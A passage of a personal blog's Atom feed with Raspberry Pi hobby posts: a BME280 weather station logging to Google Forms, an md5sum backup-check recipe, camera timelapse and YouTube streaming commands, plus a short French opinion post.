&lt;li&gt;&lt;a href="https://storage.jamesachambers.com/popular/"&gt;Crucial BX500&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.raspberrypi.org/forums/viewtopic.php?p=1653853#p1653853"&gt;HP S600 120GB SSD&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.raspberrypi.org/forums/viewtopic.php?p=1503165&amp;amp;sid=ff8ab32436d61094b18ea26dd70618e4#p1503165"&gt;Other SSDs&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="sata-to-usb-30-adapters"&gt;SATA to USB 3.0 adapters&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.berrybase.de/usb-3.0-adapterkabel/konverter-fuer-2-5-sata-festplatten-ssds"&gt;USB 3.0 Adapterkabel / Konverter für 2,5" SATA Festplatten &amp;amp; SSDs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.amazon.com/dp/B0716JKJ68"&gt;ELUTENG 2.5 Inch SATA to USB 3.0 adapter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://jamesachambers.com/raspberry-pi-cheap-ssd-upgrade-30/"&gt;StarTech 2.5" SATA to USB 3.0 adapter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.raspberrypi.org/forums/viewtopic.php?p=1503165&amp;amp;sid=ff8ab32436d61094b18ea26dd70618e4#p1503165"&gt;Other adapters&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Computers"></category><category term="raspberry pi"></category></entry><entry><title>Building A Cheap Weather Station</title><link href="https://romainpellerin.eu/building-a-cheap-weather-station.html" rel="alternate"></link><published>2020-12-13T23:50:00+01:00</published><updated>2022-09-24T12:11:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2020-12-13:/building-a-cheap-weather-station.html</id><summary type="html">&lt;p&gt;How to build a cheap weather station with a Raspberry Pi and the BME280 module&lt;/p&gt;</summary><content type="html">&lt;p&gt;Hi there! Long time no talk, uh?&lt;/p&gt;
&lt;p&gt;In this article, I explain how I managed to build a very cheap weather station to monitor the temperature and humidity of my apartment as well as the pressure through automated reporting to Google Spreadsheets. Why Google Spreadsheets? Because it allows me to create nice graphs that I can publish, or in other words, access through a public link.&lt;/p&gt;
&lt;p&gt;Then I can build a simple HTML web page to display those graphs from Google Spreadsheet, like this:&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/weather-station.png" alt="My weather station webpage" /&gt;
&lt;figcaption&gt;My weather station webpage&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;For this tutorial you'll need:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A Raspberry Pi&lt;/li&gt;
&lt;li&gt;A BME280 module and 4 cables&lt;/li&gt;
&lt;li&gt;A Google Form that you link to a spreadsheet. It's so much easier than using the Google Spreadsheet API. Your Raspberry PI will POST a form with the values and they'll automatically end up in the sheet.&lt;/li&gt;
&lt;/ul&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/bme280.jpg" alt="The BME280 module plugged to the Raspberry Pi" /&gt;
&lt;figcaption&gt;The BME280 module plugged to the Raspberry Pi.&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h1 id="step-by-step-tutorial"&gt;Step by step tutorial&lt;/h1&gt;
&lt;p&gt;&lt;em&gt;This tutorial was greatly inspired by &lt;a href="https://github.com/rm-hull/bme280"&gt;that tutorial&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Raspberry Pi turned off, plug the module like shown in the photo above.&lt;/li&gt;
&lt;li&gt;Enable I2C. Run &lt;code&gt;sudo raspi-config&lt;/code&gt;, choose &lt;code&gt;Interfacing options&lt;/code&gt;. Then reboot. Run &lt;code&gt;lsmod | grep i2c&lt;/code&gt; to confirm &lt;code&gt;i2c&lt;/code&gt; has been enabled.&lt;/li&gt;
&lt;li&gt;Run &lt;code&gt;sudo apt install python3-venv python3-pip i2c-tools &amp;amp;&amp;amp; i2cdetect -y 1&lt;/code&gt; to make sure the BME280 module is detected.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;mkdir /home/pi/temperature &amp;amp;&amp;amp; cd /home/pi/temperature&lt;/code&gt; (or any other directory of your liking).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;python3 -m venv .env &amp;amp;&amp;amp; source .env/bin/activate&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pip install smbus2 requests RPi.bme280 redis&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Create the Google Form, add 4 free text inputs: datetime, temperature, humidity and pressure. Then navigate to the form and inspect the DOM, you should be able to find hidden inputs whose names contain the word "entity" and a &amp;lt;form&amp;gt; whose URL ends with &lt;code&gt;/formResponse&lt;/code&gt;. Copy the URL and the hidden input names, you'll need them in the next bullet point.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;vim weatherstation.py&lt;/code&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;smbus2&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;bme280&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;time&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;requests&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;datetime&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;redis&lt;/span&gt;

&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;https://docs.google.com/forms/TOKEN/formResponse&amp;quot;&lt;/span&gt;

&lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="n"&gt;address&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x76&lt;/span&gt;
&lt;span class="n"&gt;bus&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;smbus2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SMBus&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;utc_offset_in_hours&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;timezone&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;3600&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;now&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;timezone&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;timedelta&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hours&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;utc_offset_in_hours&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;strftime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="si"&gt;%d&lt;/span&gt;&lt;span class="s1"&gt;/%m/%Y %H:%M:%S&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;calibration_params&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;bme280&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;load_calibration_params&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bus&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;send_request&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="s2"&gt;&amp;quot;entry.12&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;timestamp&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
                &lt;span class="s2"&gt;&amp;quot;entry.34&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;temperature&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
                &lt;span class="s2"&gt;&amp;quot;entry.56&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;humidity&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
                &lt;span class="s2"&gt;&amp;quot;entry.78&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;pressure&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
            &lt;span class="p"&gt;},&lt;/span&gt;
            &lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="s2"&gt;&amp;quot;Content-Type&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;application/octet-stream&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="p"&gt;},&lt;/span&gt;
        &lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;
    &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exceptions&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;RequestException&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;False&lt;/span&gt;

&lt;span class="n"&gt;raw_data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;bme280&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sample&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bus&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;calibration_params&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;timestamp&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;temperature&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;raw_data&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;temperature&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;humidity&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;raw_data&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;humidity&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;pressure&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;raw_data&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pressure&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;successfully_sent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;False&lt;/span&gt;

&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;successfully_sent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;send_request&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="ne"&gt;BaseException&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Error: &lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;successfully_sent&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Failed to post to Google Form&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;redis&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Redis&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rpush&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;weather_reports&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Finally, let's make it post values every 5 minutes through &lt;code&gt;crontab -e&lt;/code&gt;: &lt;code&gt;*/5 * * * * /home/pi/temperature/.env/bin/python /home/pi/temperature/weatherstation.py&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;That's it!!!&lt;/p&gt;</content><category term="Linux"></category><category term="raspberry pi"></category><category term="weather"></category></entry><entry><title>Le Bon Sens</title><link href="https://romainpellerin.eu/le-bon-sens.html" rel="alternate"></link><published>2020-09-21T13:00:00+02:00</published><updated>2022-09-24T12:11:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2020-09-21:/le-bon-sens.html</id><summary type="html">&lt;p&gt;Ce que je pense du bon sens&lt;/p&gt;</summary><content type="html">&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/ja4dG0KUuRc" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;

&lt;p&gt;&lt;em&gt;Les populistes et le retour du « bon sens » - C à Vous - 20/05/2020&lt;/em&gt;&lt;/p&gt;
&lt;figure class="center"&gt;&lt;img src="https://romainpellerin.eu/images/bon-sens.png" alt="Comics" /&gt;&lt;figcaption&gt;Mon avis sur le bon sens.&lt;/figcaption&gt;&lt;/figure&gt;

&lt;h1 id="ressources"&gt;Ressources&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.ouest-france.fr/politique/emmanuel-macron/tenues-correctes-au-lycee-emmanuel-macron-prone-le-bon-sens-6979569"&gt;« Tenues correctes » au lycée. Emmanuel Macron prône le « bon sens »&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="What's bad about"></category><category term="bon sens"></category></entry><entry><title>How To Check The Integrity Of A Backup Folder</title><link href="https://romainpellerin.eu/how-to-check-the-integrity-of-a-backup-folder.html" rel="alternate"></link><published>2020-08-27T23:50:00+02:00</published><updated>2020-08-27T23:50:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2020-08-27:/how-to-check-the-integrity-of-a-backup-folder.html</id><summary type="html">&lt;p&gt;Checking the md5sum of files copied across two folders&lt;/p&gt;</summary><content type="html">&lt;p&gt;Recently, I made a backup copy of a folder that I copied over several devices. In the end, I wanted to make sure the various copies did not alter any of the files. Here's how to proceed:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; &amp;lt;ORIGINAL FOLDER&amp;gt;
find . -type f &lt;span class="p"&gt;|&lt;/span&gt; sort &lt;span class="p"&gt;|&lt;/span&gt; &amp;gt; /tmp/original.files
&lt;span class="nb"&gt;cd&lt;/span&gt; &amp;lt;BACKUP FOLDER&amp;gt;
find . -type f &lt;span class="p"&gt;|&lt;/span&gt; sort &lt;span class="p"&gt;|&lt;/span&gt; &amp;gt; /tmp/backup.files

&lt;span class="c1"&gt;# You may not have copied all the files, so let&amp;#39;s only keep the common ones&lt;/span&gt;
comm -12 /tmp/original.files /tmp/backup.files &amp;gt; /tmp/common.files

&lt;span class="nb"&gt;cd&lt;/span&gt; &amp;lt;ORIGINAL FOLDER&amp;gt;
cat /tmp/common.files &lt;span class="p"&gt;|&lt;/span&gt; xargs -d&lt;span class="s1"&gt;&amp;#39;\n&amp;#39;&lt;/span&gt; md5sum &amp;gt; /tmp/original.md5sum
&lt;span class="c1"&gt;# -d&amp;#39;\n&amp;#39; so that filenames with space characters are handled&lt;/span&gt;
&lt;span class="nb"&gt;cd&lt;/span&gt; &amp;lt;BACKUP FOLDER&amp;gt;
md5sum --check /tmp/original.md5sum &lt;span class="c1"&gt;# Shows OK or FAILED for each file&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Hope that helps.&lt;/p&gt;</content><category term="Computers"></category><category term="linux"></category><category term="md5sum"></category><category term="git"></category></entry><entry><title>Playing With A Raspberry Pi Camera</title><link href="https://romainpellerin.eu/playing-with-a-raspberry-pi-camera.html" rel="alternate"></link><published>2020-06-01T02:50:00+02:00</published><updated>2022-09-24T12:11:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2020-06-01:/playing-with-a-raspberry-pi-camera.html</id><summary type="html">&lt;p&gt;What's possible with a Raspberry Pi camera&lt;/p&gt;</summary><content type="html">&lt;p&gt;Recently I've been playing with my old Raspberry Pi and a camera module (version 2) I bought a while ago. It turns out the camera is quite powerful and allowed me to create various types of videos or pictures. Here's what I've been able to do.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Note 1: In this article, I am using two commands that are meant to take photos or videos, natively installed on Rapsbian: &lt;code&gt;raspistill&lt;/code&gt; and &lt;code&gt;raspivid&lt;/code&gt;. For a complete user manual, follow &lt;a href="https://onlinelibrary.wiley.com/doi/pdf/10.1002/9781119415572.app2"&gt;this link&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Note 2: Don't forget to adjust the focus by rotating the lens (clockwise to focus on distant objects, anti-clockwise for close objects).&lt;/em&gt;&lt;/p&gt;
&lt;h1 id="a-timelapse-of-the-sky-at-night"&gt;A timelapse of the sky at night&lt;/h1&gt;
&lt;p&gt;For such night shots, we need to leave the shutter open as long as possible. With this camera, there is a cap at 6 seconds, which is more than enough.&lt;/p&gt;
&lt;p&gt;However, taking 6-second-long pictures takes approximatively 45 seconds to be processed by the Raspberry Pi.&lt;/p&gt;
&lt;p&gt;There are multiple parameters that affect the look of a photos but after trying a few and a lot of &lt;a href="https://www.reddit.com/r/raspberry_pi/comments/3r29ix/night_photography_and_the_pi_camera/"&gt;Googling&lt;/a&gt;, here is a set of parameters that work pretty well for me:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;while&lt;/span&gt; true&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  raspistill -q &lt;span class="m"&gt;100&lt;/span&gt; -t &lt;span class="m"&gt;1&lt;/span&gt; -ss &lt;span class="m"&gt;6000000&lt;/span&gt; -rot &lt;span class="m"&gt;180&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  -sh &lt;span class="m"&gt;0&lt;/span&gt; -co &lt;span class="m"&gt;50&lt;/span&gt; -br &lt;span class="m"&gt;50&lt;/span&gt; -sa &lt;span class="m"&gt;0&lt;/span&gt; -ev +2 -ex night &lt;span class="se"&gt;\&lt;/span&gt;
  -awb auto -ISO &lt;span class="m"&gt;800&lt;/span&gt; -mm average -n &lt;span class="se"&gt;\&lt;/span&gt;
  -o &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;date -u +&lt;span class="s1"&gt;&amp;#39;%Y-%m-%dT%H:%M:%S&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;.jpg&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; date&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This command takes as many shots as possible in a infinite loop, and displays the date and time between two shots in the terminal.&lt;/p&gt;
&lt;p&gt;Here the parameters &lt;code&gt;-awb auto&lt;/code&gt;, &lt;code&gt;-mm average&lt;/code&gt; and &lt;code&gt;-sa 0&lt;/code&gt; seem to have no impact, I believe they are the default values. The rest makes a difference.&lt;/p&gt;
&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/ybX9RmXJBX4?rel=0" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;

&lt;h1 id="live-streaming-on-youtube"&gt;Live streaming on Youtube&lt;/h1&gt;
&lt;p&gt;This is fairly easy and cool to do! Head out to &lt;a href="https://studio.youtube.com/channel/UC/livestreaming"&gt;https://studio.youtube.com/channel/UC/livestreaming&lt;/a&gt; and retrieve a "Stream key".&lt;/p&gt;
&lt;div style="text-align: center"&gt;
&lt;img src="https://romainpellerin.eu/images/raspberry-pi-camera-youtube.png" alt="Youtube UI" /&gt;
&lt;/div&gt;

&lt;p&gt;Then:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;raspivid -o - -rot &lt;span class="m"&gt;180&lt;/span&gt; -t &lt;span class="m"&gt;0&lt;/span&gt; -w &lt;span class="m"&gt;1280&lt;/span&gt; -h &lt;span class="m"&gt;720&lt;/span&gt; -fps &lt;span class="m"&gt;25&lt;/span&gt; -b &lt;span class="m"&gt;4000000&lt;/span&gt; -g &lt;span class="m"&gt;50&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="p"&gt;|&lt;/span&gt; ffmpeg -ar &lt;span class="m"&gt;44100&lt;/span&gt; -ac &lt;span class="m"&gt;2&lt;/span&gt; -f s16le -i /dev/zero -f h264 -i - &lt;span class="se"&gt;\&lt;/span&gt;
  -vcodec copy -acodec aac -ab 128k -g &lt;span class="m"&gt;50&lt;/span&gt; -strict experimental -f flv &lt;span class="se"&gt;\&lt;/span&gt;
  rtmp://a.rtmp.youtube.com/live2/&amp;lt;your-secret-key-here&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This would create a live stream with no audio. To add an audio track that repeats itself, do:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;raspivid -o - -rot &lt;span class="m"&gt;180&lt;/span&gt; -t &lt;span class="m"&gt;0&lt;/span&gt; -w &lt;span class="m"&gt;1280&lt;/span&gt; -h &lt;span class="m"&gt;720&lt;/span&gt; -fps &lt;span class="m"&gt;25&lt;/span&gt; -b &lt;span class="m"&gt;4000000&lt;/span&gt; -g &lt;span class="m"&gt;50&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="p"&gt;|&lt;/span&gt; ffmpeg -stream_loop -1 -i ./audio.mp3 -f h264 &lt;span class="se"&gt;\&lt;/span&gt;
  -use_wallclock_as_timestamps &lt;span class="m"&gt;1&lt;/span&gt; -thread_queue_size &lt;span class="m"&gt;1024&lt;/span&gt;  -i - &lt;span class="se"&gt;\&lt;/span&gt;
  -map &lt;span class="m"&gt;0&lt;/span&gt;:0 -map &lt;span class="m"&gt;1&lt;/span&gt;:0 -vcodec copy -acodec copy -g &lt;span class="m"&gt;50&lt;/span&gt; -strict experimental -f flv &lt;span class="se"&gt;\&lt;/span&gt;
  rtmp://a.rtmp.youtube.com/live2/&amp;lt;your-secret-key-here&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;-use_wallclock_as_timestamps&lt;/code&gt; makes a warning message about no timestamps disappear. &lt;code&gt;-thread_queue_size 1024&lt;/code&gt; makes another warning message disappear.&lt;/p&gt;
&lt;p&gt;With a height of 720 pixels, close to the full width of the sensor is used. If instead we had used 1920x1080, the image would be slightly cropped.&lt;/p&gt;
&lt;div style="text-align: center"&gt;
&lt;a href="https://picamera.readthedocs.io/en/release-1.12/fov.html" target="_blank"&gt;&lt;img src="https://romainpellerin.eu/images/raspberry-pi-camera-resolutions.png" alt="Supported resolutions" /&gt;&lt;/a&gt;
&lt;/div&gt;

&lt;h1 id="daytime-timelapse"&gt;Daytime timelapse&lt;/h1&gt;
